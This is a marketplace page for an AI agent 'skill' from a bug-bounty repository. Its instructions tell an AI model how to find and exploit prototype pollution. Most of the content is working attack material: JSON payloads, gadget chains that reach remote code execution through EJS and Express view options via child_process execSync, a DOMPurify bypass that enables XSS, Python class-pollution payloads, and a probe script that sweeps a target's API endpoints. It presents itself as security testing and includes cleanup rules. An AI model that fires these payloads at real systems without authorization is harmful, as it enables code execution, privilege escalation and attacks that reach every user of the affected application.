Prototype Pollution logo

Prototype Pollution

Community
jinyimeng01
prototype-pollution

Prototype Pollution detection and gadget chaining. Covers server-side (Node.js merge/deep-extend, Python class pollution) and client-side (DOM clobbering, DOMPurify bypass, jQuery deep-extend). Includes gadget chains for RCE via EJS/Pug/Handlebars and XSS via DOMPurify bypass.

Overview

Publisherjinyimeng01
Repositorymastermind-bug-bounty
Skill nameprototype-pollution
Stars
60
Forks
5
Bundled files
Instructions only
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • Self-contained

    Everything the model needs lives in the instructions — no extra files to sync.

  • Open source

    Published by jinyimeng01 on GitHub. Read the source before you install it.

Installation

Install the Prototype Pollution AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
    https://github.com/jinyimeng01/mastermind-bug-bounty/tree/main/skills/prototype_pollution
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/jinyimeng01/mastermind-bug-bounty.git /tmp/mastermind-bug-bounty
mkdir -p .claude/skills
cp -r /tmp/mastermind-bug-bounty/skills/prototype_pollution .claude/skills/prototype-pollution
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Prototype Pollution in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Prototype Pollution on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Prototype Pollution is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

Prototype Pollution — Detection & Exploitation

Polluting Object.prototype or Class.proto can modify application behavior globally. A single polluted property can trigger XSS, RCE, or auth bypass deep in framework internals.

1. Server-Side Detection (Node.js)

Detection Payloads

Send to ANY endpoint that merges JSON objects (user settings, preferences, etc.):

json
{"__proto__": {"isAdmin": true}}
{"constructor": {"prototype": {"isAdmin": true}}}
{"__proto__": {"status": "polluted"}}

Verify Pollution

After sending the payload, check if the property persisted:

python
# Send a request that queries object properties
# If the server reflects Object.keys() or has any GET endpoint
# that returns user data, check for the polluted property
resp = fetch("{target}/api/user/me")
assert "isAdmin" not in resp.json()  # Should NOT be in response normally
# If isAdmin now appears → pollution confirmed

Vulnerable Node.js Patterns

javascript
// lodash.merge (vulnerable before 4.6.0)
_.merge(target, req.body);

// lodash.defaultsDeep
_.defaultsDeep(target, req.body);

// Custom recursive merge
function merge(a, b) {
    for (let key in b) {
        if (typeof b[key] === 'object') {
            a[key] = merge(a[key] || {}, b[key]);
        } else {
            a[key] = b[key];
        }
    }
}

// Object.assign (shallow — needs nested path)
Object.assign(target, req.body);

2. Client-Side Detection

URL Parameter Pollution

https://target.com/page?__proto__[isAdmin]=true
https://target.com/page?constructor[prototype][isAdmin]=true

JavaScript Detection Gadget

javascript
// Inject via evaluate_script in chrome-devtools
(function() {
    // Test 1: Check if Object.prototype is already polluted
    var test = {};
    var pollutedKeys = [];
    for (var key in test) {
        pollutedKeys.push(key);
    }
    
    // Test 2: Try to pollute and verify
    try {
        var a = {};
        a.__proto__.polluted = true;
        var b = {};
        if (b.polluted === true) {
            return {vulnerable: true, method: "direct __proto__", pollutedKeys: pollutedKeys};
        }
    } catch(e) {}
    
    // Test 3: Via constructor
    try {
        var a = {};
        a.constructor.prototype.polluted2 = true;
        var b = {};
        if (b.polluted2 === true) {
            return {vulnerable: true, method: "constructor.prototype", pollutedKeys: pollutedKeys};
        }
    } catch(e) {}
    
    return {vulnerable: false, pollutedKeys: pollutedKeys};
})();

3. Gadget Chains

Gadget 1: DOMPurify Bypass → XSS

json
POST /api/preferences HTTP/1.1
Content-Type: application/json

{"__proto__": {
    "ALLOWED_ATTR": ["onerror", "src", "onload"],
    "ALLOWED_URI_REGEXP": null
}}

After polluting ALLOWED_ATTR:

html
<img src=x onerror=alert(document.cookie)>
→ DOMPurify now ALLOWS onerror → XSS fires

Gadget 2: EJS Template Engine → RCE

json
POST /api/settings HTTP/1.1
Content-Type: application/json

{"__proto__": {
    "outputFunctionName": "x;process.mainModule.require('child_process').execSync('id');s"
}}

When the server renders ANY EJS template after pollution:

outputFunctionName = "x;process.mainModule.require('child_process').execSync('id');s"
→ RCE

Gadget 3: Handlebars → RCE

json
POST /api/preferences HTTP/1.1
Content-Type: application/json

{"__proto__": {
    "knownHelpers": {
        "exec": true
    },
    "precompileOptions": {
        "knownHelpersOnly": false
    }
}}

Gadget 4: Express View Options → RCE

json
POST /api/settings HTTP/1.1
Content-Type: application/json

{"__proto__": {
    "view options": {
        "client": true,
        "escapeFunction": "function(){};process.mainModule.require('child_process').execSync('id');"
    }
}}

Gadget 5: Nested Property Pollution (lodash.defaultsDeep)

json
POST /api/config HTTP/1.1
Content-Type: application/json

{"constructor": {
    "prototype": {
        "env": {
            "NODE_OPTIONS": "--require /proc/self/environ"
        },
        "shell": "/bin/bash"
    }
}}

4. Python Class Pollution

python
# Python class pollution via merge operations

# Payload:
{"__class__": {"__init__": {"__globals__": {"polluted": True}}}}
{"__class__": {"__base__": {"__subclasses__": "..."}}}

# Vulnerable pattern:
# user_input_processed_by_merge(data, request.json)
# → If merge allows __class__ traversal

# Detection:
# Send payload → check if new attributes appear on base classes

5. Automated Test Sequence

Server-Side Probe

python
import json

payloads = [
    {"__proto__": {"ppTest": "polluted_001"}},
    {"constructor": {"prototype": {"ppTest": "polluted_002"}}},
    {"__proto__": {"isAdmin": True}},
]

endpoints_to_test = [
    "/api/user/settings",
    "/api/user/preferences", 
    "/api/config",
    "/api/profile",
    "/api/account",
]

for endpoint in endpoints_to_test:
    for payload in payloads:
        resp = fetch(f"{{target}}{endpoint}",
                     method="POST",
                     headers={"Content-Type": "application/json"},
                     body=json.dumps(payload))
        
        # Check for 200 — pollution was accepted
        if resp.status == 200:
            # Verify: check if property persisted on next GET
            check = fetch(f"{{target}}{endpoint}", method="GET")
            if "ppTest" in check.text or "isAdmin" in check.text:
                log(f"[VULNERABLE] {endpoint} with {payload}")

Client-Side Probe

javascript
// Inject via chrome-devtools
var testPayloads = [
    {key: "__proto__[ppTest]", value: "polluted_001"},
    {key: "constructor[prototype][ppTest]", value: "polluted_002"},
];

// For each input on the page, inject test payload
document.querySelectorAll('input, textarea').forEach(function(el) {
    var form = el.closest('form');
    if (form) {
        // Submit with pollution payloads
    }
});

// After submit, check:
var testObj = {};
var isPolluted = false;
for (var key in testObj) {
    if (testObj[key] && String(testObj[key]).includes('polluted')) {
        isPolluted = true;
    }
}

6. Output

findings/
└── prototype_pollution/
    ├── _pollution_probes.json      # All probes sent
    ├── _vulnerable_endpoints.json  # Endpoints with confirmed pollution
    ├── _gadgets_available.json     # Gadgets found in JS source
    └── _poc/
        ├── dompurify_bypass.html   # DOMPurify bypass PoC
        └── ejs_rce_poc.js          # EJS RCE PoC

7. Rules

⛔ Only pollute test properties (ppTest, pollution_test)
⛔ NEVER pollute production properties (isAdmin, role, balance)
⛔ Clean up after test: DELETE the test account/settings
⛔ Server-side pollution affects ALL users — test ONCE, clean immediately

Frequently asked questions

What does the Prototype Pollution AI skill do?

Prototype Pollution detection and gadget chaining. Covers server-side (Node.js merge/deep-extend, Python class pollution) and client-side (DOM clobbering, DOMPurify bypass, jQuery deep-extend). Includes gadget chains for RCE via EJS/Pug/Handlebars and XSS via DOMPurify bypass.

Why use Prototype Pollution on TypingMind?

Because you install it once and use it with any model. Prototype Pollution is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Prototype Pollution in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/jinyimeng01/mastermind-bug-bounty/tree/main/skills/prototype_pollution. TypingMind reads its SKILL.md and installs it as a skill you can enable per chat.

Which AI models can use Prototype Pollution?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Prototype Pollution?

As many as you like. As long as a model supports skills, you can use Prototype Pollution with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Prototype Pollution AI skill free?

It is published on GitHub by jinyimeng01. Check the repository for licensing terms. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

View all

Set up your own AI workspace now

Get notified about new features and future giveaways by subscribing to our newsletter 👇